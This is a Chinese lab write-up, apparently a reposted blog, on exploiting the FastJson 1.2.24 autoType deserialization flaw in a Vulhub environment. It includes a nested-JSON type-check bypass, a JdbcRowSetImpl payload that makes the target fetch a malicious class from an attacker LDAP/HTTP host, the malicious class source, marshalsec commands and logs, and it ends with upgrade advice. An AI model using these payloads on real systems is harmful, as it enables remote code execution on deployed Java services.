ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

FastJson(Vulhub靶场)

FastJson(Vulhub靶场) 0.前言与踩过的坑暑假匆匆过去又到了乖宝宝学习的时间了这个其实是跑了回家前就搞完的了现在才发出来意思一下有些东西可能忘记写进去或者干脆不想写进去了摆烂太久忘得可能有点多了。FastJson 是阿里巴巴开源的 Java JSON 解析库因其高性能在国内 Java 项目中广泛使用。2017 年披露的 CVE-2017-18349 是其最著名的漏洞之一FastJson 1.2.24 及以下版本中 autoType 默认开启攻击者可通过 type 字段指定任意类触发反序列化最终实现远程代码执行。本文记录从零开始搭建环境、理解原理、完成攻击到踩坑总结的完整过程。0.1 类型约束的坑——type not match 不是终点直接用type 直接指定 JdbcRowSetImpl 时返回 type not match尝试java.lang.AutoCloseable一个 JDK 自带接口当探针测试发现同样是 type not match 而不是 autoType is not support这说明autoType开关确确实实是开的确实实例化了但类型转化错误autoType is not support → 类被拦截在加载阶段 → 漏洞不存在type not match → 类已经加载并实例化只是最后类型转换失败 → 漏洞存在但问题来了漏洞存在 ≠ 能直接利用。/ 接口的代码是 JSON.parseObject(data, User.class)User.class 作为类型约束在解析 type 时做了类型检查。JdbcRowSetImpl 不是 User 的子类直接被拦截setDataSourceName 和 setAutoCommit 根本没被调用JNDI 副作用不触发。tcpdump 抓包 0 packets搭好的 LDAP 服务没有任何请求进来——铁证。0.2 嵌套 JSON 绕过类型检查绕过的关键来自 Agent 搜索到的 payload{b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://...,autoCommit:true}}原理外层 b 是 Object 类型字段User 类通过类型检查 ✅。内层 type 在反序列化 b 字段时才触发此时没有类型约束JdbcRowSetImpl 的属性设置正常执行JNDI 触发。1.环境准备组件版本 / 来源用途靶场vulhub/fastjson/1.2.24-rce (Docker)漏洞环境攻击机Kali Linux 2025.4攻击主机JDK 21 javacKali 自带编译恶意类--release 8对齐目标marshalsec预编译 jarJNDI LDAP 转发服务Python HTTP Server系统自带托管恶意 class 文件nc系统自带带外回显 / 反弹 shell 监听2.基本原理与核心代码审计这一部分详细可以去看我之前的文章这里只做简单介绍2.1基本概念FastJson 是阿里巴巴开源的高性能 JSON 解析库核心功能是把 JSON 字符串和 Java 对象互相转换java // 序列化Java 对象 → JSON 字符串 String json JSON.toJSONString(user); // → {name:Bob,age:25}// 反序列化JSON 字符串 → Java 对象 User user JSON.parseObject(json, User.class); 2.2 为什么会爆出反序列化漏洞FastJson 有一个 type 字段作用是**指定反序列化的目标类**json{type:com.example.User,name:Bob,age:25}正常情况下type 的值应该是业务需要的类。但 FastJson 1.2.24 的 autoType 默认开启**不做任何限制**攻击者可以指定任意 JDK 自带类或第三方库中的类。漏洞根源 FastJson 反序列化时会自动调用目标对象的 **setter 方法**。某些 JDK 类的 setter 有副作用——比如 JdbcRowSetImpl.setAutoCommit(true) 会触发 JNDI 远程加载。2.3 核心利用链① 攻击者发送 JSON{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://攻击机:1389/Evil,autoCommit:true}② FastJson 反序列化- 实例化 JdbcRowSetImpl- 调用 setDataSourceName(ldap://攻击机:1389/Evil) ← 记住地址- 调用 setAutoCommit(true) ← 触发 JNDI lookup③ JdbcRowSetImpl 内部connect() → InitialContext.lookup(ldap://...)↓连接攻击机的 LDAP 服务 → 下载恶意类 → 执行恶意类的 static{} 代码块2.4 核心代码审计靶场控制器的关键代码java // vulhub/fastjson/1.2.24-rce 的 JSONController.java Controller public class JSONController { RequestMapping(value /, method RequestMethod.POST) ResponseBody public User parse(RequestBody String data) { // 关键parseObject 的第二个参数 User.class 施加了类型约束 User user JSON.parseObject(data, User.class); return user; } } parseObject(data, User.class) 中的 User.class 是类型约束。如果直接在 JSON 顶层写 type 指定非 User 类FastJson 在解析阶段就会做类型检查并抛 type not match。**绕过方式——嵌套 JSON**java // User 类中如果有 Object 类型的字段 public class User { private String name; private int age; private Object b; // ← Object 类型无约束 }当 JSON 是 {b:{type:JdbcRowSetImpl,...}} 时- 外层 b 是 ObjectUser 通过检查 ✅- 内层 type 在反序列化 b 时触发此时没有类型约束- JdbcRowSetImpl 的属性设置正常执行JNDI 触发3. 攻击流程重点3.1 指纹识别先确认是 FastJson 靶场curl -i http://192.168.153.1:8081/ # 返回: {age:25,name:Bob}特征: 纯 JSON 响应 教学示例数据 → FastJson 靶场3.2 探测 POST 解析行为curl -i -X POST http://192.168.153.1:8081/-H Content-Type: application/json-d {name:test,age:1}返回: {age:20,name:test}注意: age:1 变成了 age:20 → age 没有 setter保持默认值 20大概可以猜到这个age可能是写死的而name经历了反序列化和序列化的过程3.3 验证 autoType 是否开启curl -i -X POST http://192.168.153.1:8081/-H Content-Type: application/json -d {type:java.lang.AutoCloseable}# 返回: message:type not match# 关键: 不是 autoType is not support → autoType 开启 ✅判断逻辑type not match → 类已加载已实例化 → autoType 没拦 → 漏洞存在autoType is not support → 类被拦截在加载前 → 安全3.4 编写恶意类TouchFile.java import java.lang.Runtime; public class TouchFile { static { try { Runtime rt Runtime.getRuntime(); String[] commands {touch, /tmp/success}; rt.exec(commands).waitFor(); } catch (Exception e) { } } }3.5 编译版本对齐# 用 --release 8 指定目标为 JDK 8 javac --release 8 TouchFile.java# 验证版本号javap -verbose TouchFile.class | grep major version# 输出: major version: 52 ← 52 Java 8 ✅3.6 启动服务# 窗口 1: HTTP 服务托管 TouchFile.class端口 8000 python3 -m http.server 8000# 窗口 2: marshalsec LDAP 服务端口 9191转发到 HTTP java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \ marshalsec.jndi.LDAPRefServer \ http://192.168.153.128:8000/#TouchFile 91913.7 发送攻击 payloadcurl -i -X POST http://192.168.153.1:8081/ \ -H Content-Type: application/json \ -d {b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://192.168.153.128:9191/TouchFile,autoCommit:true}}3.8 结果分析返回json{ timestamp:1787918123486, status:500, error:Internal Server Error, message:set property error, autoCommit, path:/ }**LDAP 日志**Listening on 0.0.0.0:9191 Send LDAP reference result for TouchFile redirecting to http://192.168.153.128:8000/TouchFile.class**HTTP 日志**192.168.153.1 - GET /TouchFile.class HTTP/1.1 200**攻击链全流程**① 嵌套 JSON 绕过类型检查{b:{type:JdbcRowSetImpl,...}}→ 外层 b 是 ObjectUser 类型检查通过 ✅→ 内层 type 在反序列化 b 时触发 autoType② JdbcRowSetImpl.setAutoCommit(true)→ 触发 connect() → JNDI lookup(ldap://192.168.153.128:9191/TouchFile)③ marshalsec LDAP 服务→ 返回重定向http://192.168.153.128:8000/TouchFile.class④ 靶机下载 TouchFile.class→ HTTP 200 ✅⑤ FastJson 加载 TouchFile 类→ static {} 块执行 → touch /tmp/success ✅4. 修复方案### 4.1 升级 FastJsonFastJson 1.2.25 开始引入 autoType 黑名单机制1.2.68 引入 safeMode。最低要求升级到 **1.2.83**xmldependencygroupIdcom.alibaba/groupIdartifactIdfastjson/artifactIdversion1.2.83/version/dependency
返回列表